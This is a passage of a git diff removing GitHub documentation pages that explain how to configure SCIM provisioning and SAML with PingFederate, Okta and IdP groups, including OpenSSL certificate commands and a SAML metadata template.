[Finish configuration and test](#finish-configuration-and-test) - -Before starting this section, ensure you have followed {% ifversion ghec %}the previous steps in [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users).{% else %}steps **1 to 4** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users).{% endif %} - -### Configure SCIM settings - -1. Go back to the "SP Connections" page on PingFederate, and select the SP connection you created earlier. -1. Click the "Connection Type" tab. -1. Select **Outbound Provisioning**. -1. Ensure **Browser SSO Profiles** is selected. -1. Click **Next** until you reach the "Outbound Provisioning" tab, then click **Configure Provisioning**. -1. On the "Target" tab, enter the following details. - - * "Base URL": {% ifversion ghes %}`https://HOSTNAME/api/v3/scim/v2`{% else %}`https://api.github.com/scim/v2/enterprises/{enterprise}/` or `https://api.SUBDOMAIN.ghe.com/scim/v2/enterprises/SUBDOMAIN`{% endif %} - * "Access Token": The {% data variables.product.pat_v1 %} created for the setup user -1. Click **Next**. -1. On the "Manage Channel" tab, click **Create**, then enter a unique channel name, such as `pfghscim`. -1. Click **Next**. -1. On the "Source" tab, choose the data store that you created earlier. -1. Click **Next**. -1. On the "Source Settings" tab, you can keep all default settings. Other settings are likely to work, but have not been confirmed. -1. Click **Next**. -1. On the "Source Location" tab, configure where in your LDAP server you would like provisioned users to come from. This will vary depending on your setup and needs. After configuring, click **Next**. - -### Map LDAP fields to SCIM - -On the "Attribute Mapping" tab, you will need to map fields from your LDAP server to SCIM fields. See the following list for {% data variables.product.github %}'s supported SCIM fields and the values expected in each one. - -* **Username:** This will be normalized and used as the {% data variables.product.github %} username for the provisioned user. See [AUTOTITLE](/admin/managing-iam/iam-configuration-reference/username-considerations-for-external-authentication#about-username-normalization). This must match the normalization of the subject sent with the SAML assertion that you configured with the `SAML_SUBJECT` property in PingFederate. -* **Email:** A field containing the user's email address. -* **Display Name:** A human-readable name for the user. -* **Formatted Name:** The user's full name, including all middle names, titles, and suffixes, formatted for display. -* **First Name:** The first name of the user. -* **Last Name:** The last name of the user. -* **External ID:** This identifier is generated by an IdP provider. -* **Roles:** This field should contain a string that represents the user's intended role on {% data variables.product.github %}. Valid roles are {% ifversion ghec %}`enterprise_owner`, `user`, `billing_manager`, and `guest_collaborator`{% else %}`enterprise_owner` and `user`{% endif %}. - -When you have finished configuring these settings, click **Next**. - -### Finish configuration and test - -1. On the "Activation & Summary" tab, for the "Channel Status," select **Active**. -1. On the "Manage Channels" tab, click **Done**. -1. On the "Outbound Provisioning" tab, click **Save**. SCIM is now configured and enabled. -1. Wait a few minutes for provisioning to run, then open a new private browser window and navigate to {% data variables.product.github %}. -1. Click **Sign in with SAML**. You should be redirected to the PingFederate login page. -1. You should be able to sign in with the credentials for a user in the LDAP server that has been provisioned to {% data variables.product.github %}. - -PingFederate provisioning handles users and groups independently. Users must be assigned directly in order to be provisioned. Users who are in an assigned group but not directly assigned will not be provisioned. - -{% ifversion ghes %} - -When you have finished configuring SCIM, you may want to disable some SAML settings you enabled for the configuration process. See [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users#6-disable-optional-settings). - -{% endif %} - -## Example of creating an X509 certificate - -There are multiple ways to create an X509 certificate. Here is an example that may work for your requirements. - -1. In a terminal window, check that OpenSSL is installed by running `openssl version`. If it's not installed, install it. -1. Generate the private key using the following command. - - ```shell copy - openssl req -nodes -sha256 -newkey rsa:2048 -keyout MyPrivateKey.key -out MyCertificateRequest.csr - ``` - - Enter the required information, and **take note** of the challenge password you create. -1. To ensure the key was created, run the following command. A file named `MyPrivateKey.key` should be listed in the command output. - - ```shell copy - ls | grep MyPrivateKey.key - ``` - -1. Generate the certificate using the following command. - - ```shell copy - openssl x509 -req -days 365 -sha256 -in MyCertificateRequest.csr -signkey MyPrivateKey.key -out pfgh256.crt - ``` - -1. To ensure the certificate was created, run the following command. A file named `pfgh256.crt` should be listed in the command output. - - ```shell copy - ls | grep pfgh256.crt - ``` - -1. Export a PKCS #12 file using the following command. This is the file you should **upload to PingFederate**. - - ```shell copy - openssl pkcs12 -export -in pfgh256.crt -inkey MyPrivateKey.key -out pfgh256.p12 - ``` - -1. To ensure the file was exported, run the following command. A file named `pfgh256.p12` should be listed in the command output. - - ```shell copy - ls | grep pfgh256.p12 - ``` - -{% ifversion ghec %} - -## Creating a SAML metadata file for {% data variables.enterprise.data_residency_site %} - -Because some values differ from the metadata file that PingFederate provides for {% data variables.product.prodname_dotcom_the_website %}, you will create an XML file for your enterprise's SAML metadata manually. - -1. Copy the following XML into a text editor. - - ```xml copy - <?xml version="1.0"?> - <md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" - entityID="https://SUBDOMAIN.ghe.com/enterprises/SUBDOMAIN" cacheDuration="PT1440M"> - <md:SPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol" - AuthnRequestsSigned="false" WantAssertionsSigned="false"> - <md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat> - <md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" - Location="https://SUBDOMAIN.ghe.com/enterprises/SUBDOMAIN/saml/consume" isDefault="true" - index="0"/> - </md:SPSSODescriptor> - </md:EntityDescriptor> - ``` - -1. Replace all instances of SUBDOMAIN with your enterprise's subdomain of {% data variables.enterprise.data_residency_site %}. For example: `octocorp`. -1. Save the file as an XML file. -1. Return to the instructions in [Creating a SAML adapter](#create-a-saml-adapter). - -{% endif %} diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users.md deleted file mode 100644 index 24ca7538d116..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users.md +++ /dev/null @@ -1,208 +0,0 @@ ---- -title: Configuring SCIM provisioning {% ifversion ghec %}for Enterprise Managed Users{% else %}to manage users{% endif %} -shortTitle: Configure SCIM provisioning -intro: 'You can manage the lifecycle of your enterprise''s user accounts from your identity provider (IdP) using System for Cross-domain Identity Management (SCIM).' -allowTitleToDifferFromFilename: true -permissions: '{% ifversion scim-for-ghes-public-beta %}Site administrators{% endif %}' -product: '{% data reusables.gated-features.emus %}' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users - - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users - - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users - - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users - - /admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users - - /admin/managing-iam/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users -versions: - ghec: '*' - feature: scim-for-ghes-public-beta -topics: - - Accounts - - Enterprise ---- - -{% data reusables.scim.ghes-beta-note %} - -{% data reusables.enterprise_user_management.about-scim-provisioning %} - -If you use a partner IdP, you can simplify the configuration of SCIM provisioning by using the partner IdP's application. If you don't use a partner IdP for provisioning, you can implement SCIM using calls to {% data variables.product.company_short %}'s REST API for SCIM. For more information, see {% ifversion ghec %}[AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users#identity-management-systems).{% else %}[AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes#supported-identity-providers).{% endif %} - -{% ifversion ghes %} - -## Who needs to follow these instructions? - -Even if your instance already uses SAML authentication, or if you were enrolled in the SCIM {% data variables.release-phases.private_preview %} on a previous {% data variables.product.prodname_ghe_server %} version, you must ensure you have followed **all instructions in this guide** to enable SCIM in version 3.14 and later. - -This guide applies in any of the following situations. - -* You're **setting up SAML and SCIM for the first time**: you'll follow these instructions to get started. -* You **already use SAML authentication**: you'll need to enable SCIM on your instance, plus either reconfigure SAML with an IdP application that supports automated provisioning or set up a SCIM integration with the REST API. -* You were **enrolled in the SCIM {% data variables.release-phases.private_preview %}**: you'll need to reenable SCIM on your instance and, if you're using a partner IdP, reconfigure your settings on an updated IdP application. - -{% endif %} - -{% ifversion ghec %} - -## About user lifecycle management with SCIM - -{% data reusables.enterprise_user_management.scim-manages-user-lifecycle %} - -{% endif %} - -## Prerequisites - -{% ifversion ghec %} - -If you're configuring SCIM provisioning for a new enterprise, make sure to complete all previous steps in the initial configuration process. See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). - -{% else %} - -* For authentication, your instance must use SAML SSO, or a mix of SAML and built-in authentication. - * You cannot mix SCIM with other external authentication methods. If you use CAS or LDAP, you will need to migrate to SAML before using SCIM. - * After you have configured SCIM, you must keep SAML authentication enabled to continue using SCIM. -* You must have administrative access on your IdP. -* You must have access to the Management Console on {% data variables.product.prodname_ghe_server %}. -* If you are configuring SCIM on an instance with existing users, ensure you have understood how SCIM will identify and update these users. See [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes#what-will-happen-to-existing-users-on-my-instance). - -{% endif %} - -{% ifversion ghes %} - -## 1. Create a built-in setup user - -To ensure you can continue to sign in and configure settings when SCIM is enabled, you'll create an enterprise owner using built-in authentication. - -1. Sign in to {% data variables.product.prodname_ghe_server %} as a user with access to the Management Console. -1. If you have **already enabled SAML authentication**, ensure your settings allow you to create and promote a built-in setup user. Go to the "Authentication" section of the Management Console and enable the following settings: - - * Select **Allow creation of accounts with built-in authentication**, so you can create the user. - * Select **Disable administrator demotion/promotion**, so admin permissions can be granted outside of your SAML provider. - - For help finding these settings, see [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso). - -1. Create a built-in user account to perform provisioning actions on your instance. See [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider#inviting-users-outside-your-provider-to-authenticate-to-your-instance). - - >[!NOTE] Ensure the user's email and username are different from any user you plan on provisioning through SCIM. If your email provider supports it, you can modify an email address by adding `+admin`, for example `johndoe+admin@example.com`. - -1. Promote the user to an enterprise owner. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator#promoting-a-user-from-the-enterprise-settings). - -## 2. Create a {% data variables.product.pat_generic %} - -1. Sign in to your instance as the **built-in setup user** you created in the previous section. -1. Create a {% data variables.product.pat_v1 %}. For instructions, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - - * The token must have the {% ifversion scim-enterprise-scope %}`scim:enterprise`{% else %}`admin:enterprise`{% endif %} scope. - * The token must have **no expiration**. If you specify an expiration date, SCIM will no longer function after the expiration date passes. - -1. Store the token securely in a password manager until you need the token again later in the setup process. You'll need the token to configure SCIM on your IdP. - -## 3. Enable SAML on your instance - -> [!NOTE] Complete this section if either of the following situations applies: -> * If you have **not already enabled SAML authentication**, you will need to do so before you can enable SCIM. -> * If you already use SAML authentication and want to use a **partner IdP for both authentication and provisioning**, or if you're **upgrading from the SCIM {% data variables.release-phases.private_preview %}**, you must reconfigure SAML using a new application. - -1. Sign in to your instance as a user with access to the Management Console. -1. Go to the "Authentication" section of the Management Console. For instructions, see [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso). -1. Select **SAML**. -1. Configure the SAML settings according to your requirements and the IdP you're using. - - * So the built-in setup user can continue to authenticate, ensure you select the following settings: - * **Allow creation of accounts with built-in authentication** - * **Disable administrator demotion/promotion** - * If you're using a partner IdP, to find the information you need to configure the settings, follow the "Configure SAML" section of the relevant guide. - * [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-entra-id#1-configure-saml) - * [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-pingfederate#1-configure-saml) - * [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-with-okta#1-configure-saml) - -1. Optionally, complete configuration of the SAML settings within the application in your IdP. Alternatively, you can leave this step until later. - -## 4. Enable SCIM on your instance - -1. Sign in to your instance as the **built-in setup user** you created earlier. -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -1. Under "SCIM Configuration", select **Enable SCIM configuration**. - -{% endif %} - -{% ifversion ghec %} - -## Configuring user provisioning for {% data variables.product.prodname_emus %} - -{% else %} - -## 5. Configure your identity provider - -{% endif %} - -After completing the setup on {% data variables.product.prodname_dotcom %}, you can configure provisioning on your IdP. The instructions you should follow differ depending on whether you use a partner IdP's application for both authentication and provisioning. - -* [Configuring provisioning if you use a partner IdP's application](#configuring-provisioning-if-you-use-a-partner-idps-application) -* [Configuring provisioning for other identity management systems](#configuring-provisioning-for-other-identity-management-systems) - -### Configuring provisioning if you use a partner IdP's application - -{% ifversion ghec %} - -To use a partner IdP's application both authentication and provisioning, review the partner's instructions for configuring provisioning in the links in the following table. - -{% rowheaders %} - -| IdP | SSO method | Instructions | -|---|---|---| -| Microsoft Entra ID (previously known as Azure AD) | OIDC | [Tutorial: Configure GitHub Enterprise Managed User (OIDC) for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-enterprise-managed-user-oidc-provisioning-tutorial) on Microsoft Learn | -| Entra ID | SAML | [Tutorial: Configure GitHub Enterprise Managed User for automatic user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial) on Microsoft Learn | -| Okta | SAML | [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta) | -| PingFederate | SAML | The "Prerequisites" and "2. Configure SCIM" sections in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-pingfederate) | - -{% endrowheaders %} - -{% else %} - -To use a partner IdP's application for both authentication and provisioning, review the instructions that are linked below. Complete the steps for enabling SCIM, plus any SAML configuration that you haven't already performed. - -* [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-entra-id) -* [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-pingfederate) -* [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-with-okta) - -{% endif %} - -### Configuring provisioning for other identity management systems - -If you don't use a partner IdP, or if you only use a partner IdP for authentication, you can manage the lifecycle of user accounts using {% data variables.product.company_short %}'s REST API endpoints for SCIM provisioning. See [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-and-groups-with-scim-using-the-rest-api). - -{% ifversion emu-public-scim-schema %} - -{% data reusables.emus.sign-in-as-setup-user %} - - > [!NOTE] - > {% data reusables.enterprise-accounts.emu-password-reset-session %} - -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.identity-provider-tab %} -{% data reusables.enterprise-accounts.sso-configuration %} -1. Under "Open SCIM Configuration", select "Enable open SCIM configuration". -1. Manage the lifecycle of your users by making calls to the REST API endpoints for SCIM provisioning. See [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-and-groups-with-scim-using-the-rest-api). - -{% endif %} - -{% ifversion scim-for-ghes-public-beta %} - -## 6. Disable optional settings - -After you have finished the configuration process, you can disable the following settings in the Management Console: - -* **Allow creation of accounts with built-in authentication**: Disable this setting if you want all users to be provisioned from your IdP. -* **Disable administrator demotion/promotion**: Disable this setting if you want to be able to grant the enterprise owner role via SCIM. - -{% endif %} - -## {% ifversion ghec %}Assigning{% else %}7. Assign{% endif %} users and groups - -{% data reusables.enterprise-managed.assigning-users %} - -{% data reusables.enterprise-managed.assigning-roles %} - -Entra ID does not support provisioning nested groups. For more information, see [How Application Provisioning works in Microsoft Entra ID](https://learn.microsoft.com/entra/identity/app-provisioning/how-provisioning-works#assignment-based-scoping) on Microsoft Learn. diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-with-okta.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-with-okta.md deleted file mode 100644 index 9fc8216c2e9a..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-with-okta.md +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Configuring {% ifversion ghec %}SCIM{% else %}authentication and{% endif %} provisioning with Okta -shortTitle: Set up Okta -intro: 'Learn how to configure Okta to communicate with your enterprise{% ifversion ghec %} on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}{% endif %}.' -product: '{% data reusables.gated-features.emus %}' -permissions: '{% ifversion ghes %}Site administrators{% else %}People{% endif %} with admin access to the IdP' -allowTitleToDifferFromFilename: true -versions: - ghec: '*' - feature: scim-for-ghes-public-beta -redirect_from: - - /early-access/github/articles/configuring-provisioning-for-managed-users-with-okta - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta - - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta - - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta - - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta - - /admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-with-okta - - /admin/managing-iam/provisioning-user-accounts-for-enterprise-managed-users/configuring-scim-provisioning-with-okta -type: tutorial -topics: - - Accounts - - Authentication - - Enterprise - - SSO ---- - -{% data reusables.scim.ghes-beta-note %} - -## About provisioning with Okta - -If you use Okta as an IdP, you can use Okta's application to provision user accounts, manage enterprise membership, and manage team memberships for organizations in your enterprise. Okta is a partner IdP, so you can simplify your authentication and provisioning configuration by using the Okta application {% ifversion ghec %}for {% data variables.product.prodname_emus %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/about-enterprise-managed-users#about-authentication-and-user-provisioning).{% else %}to manage both SAML single-sign on and SCIM provisioning on {% data variables.product.prodname_ghe_server %}.{% endif %} - -Alternatively, if you only intend to use Okta for SAML authentication and you want to use a different IdP for provisioning, you can integrate with {% data variables.product.prodname_dotcom %}'s REST API for SCIM. For more information, see [AUTOTITLE](/admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/provisioning-users-with-scim-using-the-rest-api). - -## Supported features - -{% ifversion ghec %}{% data variables.product.prodname_emus %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %} supports the following provisioning features for Okta. - -| Feature | Description | -| --- | --- | -| Push New Users | Users that are assigned to {% ifversion ghec %}the {% data variables.product.prodname_emu_idp_application %}{% else %}{% data variables.product.company_short %}'s{% endif %} application in Okta are automatically created in the enterprise on {% data variables.product.github %}. | -| Push Profile Update | Updates made to the user's profile in Okta will be pushed to {% data variables.product.github %}. | -| Push Groups | Groups in Okta that are assigned to the {% ifversion ghec %}the {% data variables.product.prodname_emu_idp_application %}{% else %}{% data variables.product.company_short %}'s{% endif %} application as Push Groups are automatically created in the enterprise on {% data variables.product.github %}. | -| Push User Deactivation | Unassigning the user from {% ifversion ghec %}the {% data variables.product.prodname_emu_idp_application %}{% else %}{% data variables.product.company_short %}'s{% endif %} application in Okta will disable the user on {% data variables.product.github %}. The user will not be able to sign in, but the user's information is maintained. | -| Reactivate Users | Users in Okta whose Okta accounts are reactivated and who are assigned back to {% ifversion ghec %}the {% data variables.product.prodname_emu_idp_application %}{% else %}{% data variables.product.company_short %}'s{% endif %} application on Okta will be enabled. | - -{% ifversion ghec %} - -> [!NOTE] -> {% data variables.product.prodname_emus %} does not support modifications to usernames. - -{% endif %} - -## Prerequisites - -{% ifversion ghes %} -The general prerequisites for using SCIM on {% data variables.product.prodname_ghe_server %} apply. See the "Prerequisites" section in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users#prerequisites). - -In addition: - -* To configure SCIM, you must have completed **steps 1 to 4** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). - * You will need the {% data variables.product.pat_v1 %} created for the setup user to authenticate requests from Okta. -{% else %} -If you're configuring SCIM provisioning for a new enterprise, make sure to complete all previous steps in the initial configuration process. See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). - -In addition: -{% endif %} -* You must use Okta's application for both authentication and provisioning. -* {% data reusables.scim.your-okta-product-must-support-scim %} - -{% ifversion ghes %} - -## 1. Configure SAML - -Before starting this section, ensure you have followed steps **1 and 2** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). - -### In Okta - -1. Go to the [GitHub Enterprise Server](https://www.okta.com/integrations/github-enterprise-server/) application in Okta. -1. Click **Add integration**. -1. In the general settings, for the base URL, enter your {% data variables.product.prodname_ghe_server %} host URL (`https://HOSTNAME.com`). -1. Click the **Sign On** tab. -1. Ensure the "Credential Details" match the following. - - * "Application username format": Okta username - * "Update application username on": Create and update - * "Password reveal": Deselected -1. In the "SAML Signing Certificates" section, download your certificate by selecting **Actions**, then clicking **Download certificate**. -1. On the right side of the page, click **View SAML setup instructions**. -1. Make a note of the "Sign on URL" and the "Issuer" URL. - -### On {% data variables.product.prodname_ghe_server %} - -1. Sign in to {% data variables.location.product_location %} as a user with access to the Management Console. -1. Configure SAML using the information you have gathered. See [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso). - -## 2. Configure SCIM - -After configuring your SAML settings, you can proceed to configure provisioning settings. - -{% elsif ghec %} - -## Configuring SCIM - -After you have configured your SAML settings in Okta's app, you can proceed to configure provisioning settings. If you haven't already configured SAML settings, see [AUTOTITLE](/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-with-okta-for-enterprise-managed-users). - -{% endif %} - -{% ifversion ghec %} -To configure provisioning, the setup user {% ifversion ghec %}with the **@<em>SHORT-CODE</em>_admin** username {% endif %}will need to provide a {% data variables.product.pat_v1 %} with the **scim:enterprise** scope. See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users#create-a-personal-access-token). -{% else %} -Before starting this section, ensure you have followed steps **1 to 4** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). -{% endif %} - -1. Navigate to your {% data variables.product.prodname_emu_idp_application %} application on Okta. -1. Click the **Provisioning** tab. -1. In the settings menu, click **Integration**. -1. To make changes, click **Edit**. -1. Click **Configure API integration**. -1. In the "API Token" field, enter the {% data variables.product.pat_v1 %} belonging to the setup user. - - {% data reusables.scim.import-groups-unsupported %} - -1. Click **Test API Credentials**. If the test is successful, a verification message will appear at the top of the screen. -1. To save the token, click **Save**. -1. In the settings menu, click **To App**. -1. To the right of "Provisioning to App", to allow changes to be made, click **Edit**. -1. Select **Enable** to the right of **Create Users**, **Update User Attributes**, and **Deactivate Users**. -1. To finish configuring provisioning, click **Save**. - -{% ifversion ghes %} - -When you have finished configuring SCIM, you may want to disable some SAML settings you enabled for the configuration process. See [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users#6-disable-optional-settings). - -{% endif %} - -## How do I assign users and groups? - -{% data reusables.enterprise-managed.assigning-users %} - -{% data reusables.scim.emu-scim-rate-limit %} - -You can also automatically manage organization membership by adding groups to the "Push Groups" tab in Okta. When the group is provisioned successfully, it will be available to connect to teams in the enterprise's organizations. For more information about managing teams, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). - -{% data reusables.enterprise-managed.assigning-roles %} - -> [!NOTE] -> You can only set the "Roles" attribute for an individual user, not a group. If you want to set roles for everyone in a group that is assigned to the application in Okta, you must use the "Roles" attribute for each group member, individually. - -## How do I deprovision users and groups? - -To remove a user or group from {% data variables.product.github %}, remove the user or group from both the "Assignments" tab and the "Push groups" tab in Okta. For users, make sure the user is removed from all groups in the "Push Groups" tab. diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/index.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/index.md deleted file mode 100644 index 2b0a61d32848..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: 'Provisioning accounts{% ifversion ghec %} for Enterprise Managed Users{% else %} with SCIM{% endif %}' -shortTitle: 'Provision{% ifversion ghec %} managed user accounts{% else %} accounts with SCIM{% endif %}' -product: '{% data reusables.gated-features.emus %}' -intro: 'Learn how to provision accounts and manage organization and team membership for users{% ifversion ghec %} of your {% data variables.enterprise.prodname_emu_enterprise %}{% elsif ghes %} on {% data variables.location.product_location %}{% endif %}.' -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise - - Accounts - - Authentication -children: - - /user-provisioning-with-scim-on-ghes - - /configuring-scim-provisioning-for-users - - /configuring-authentication-and-provisioning-with-entra-id - - /configuring-authentication-and-provisioning-with-pingfederate - - /configuring-scim-provisioning-with-okta - - /provisioning-users-and-groups-with-scim-using-the-rest-api - - /managing-team-memberships-with-identity-provider-groups - - /troubleshooting-team-membership-with-identity-provider-groups -redirect_from: - - /admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users - - /admin/managing-iam/provisioning-user-accounts-for-enterprise-managed-users ---- - diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/managing-team-memberships-with-identity-provider-groups.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/managing-team-memberships-with-identity-provider-groups.md deleted file mode 100644 index 27e5357ccd05..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/managing-team-memberships-with-identity-provider-groups.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Managing team memberships with identity provider groups -shortTitle: Manage teams with your IdP -intro: 'Connect IdP groups with teams on {% data variables.product.prodname_dotcom %} to manage team and organization membership through your identity provider.' -product: '{% data reusables.gated-features.emus %}' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups - - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups - - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups - - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups - - /admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups - - /admin/identity-and-access-management/provisioning-user-accounts-for-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups - - /admin/managing-iam/provisioning-user-accounts-for-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups -versions: - ghec: '*' - feature: scim-for-ghes-public-beta -type: how_to -topics: - - Accounts - - Enterprise - - SSO - - Teams ---- - -{% data reusables.scim.ghes-beta-note %} - -## About team management with {% ifversion ghec %}{% data variables.product.prodname_emus %}{% else %}SCIM{% endif %} - -{% data reusables.emus.about-team-management-with-idp %} When you connect a team in one of your enterprise's organizations to an IdP group, changes to membership from the IdP group are reflected in your enterprise automatically, reducing the need for manual updates and custom scripts. - -When a change to an IdP group or a new team connection results in a user joining a team in an organization they were not already a member of, the user will automatically be added to the organization. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization if they are not assigned membership in the organization by any other means. - -> [!NOTE] -> Organization owners can also add users to organizations manually, as long as the accounts have already been provisioned via SCIM. - -When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.prodname_dotcom %} according to the schedule determined by your IdP, so change may not be immediate. Any requests that change team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. - -{% data variables.product.prodname_dotcom %} also runs a reconciliation job once per day, which synchronizes team membership with IdP group membership that is stored on {% data variables.product.prodname_dotcom %}, based on information previously sent from the IdP via SCIM. If this job finds that a user is a member of an IdP group in the enterprise, but they are not a member of the mapped team or its organization, the job will attempt to add the user to the organization and team. - -Teams connected to IdP groups cannot be parents of other teams nor a child of another team. If the team you want to connect to an IdP group is a parent or child team, we recommend creating a new team or removing the nested relationships that make your team a parent team. - -To manage repository access for any team in your enterprise, including teams connected to an IdP group, you must make changes on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). - -## Requirements for connecting IdP groups with teams - -Before you can connect an IdP group with a team on {% data 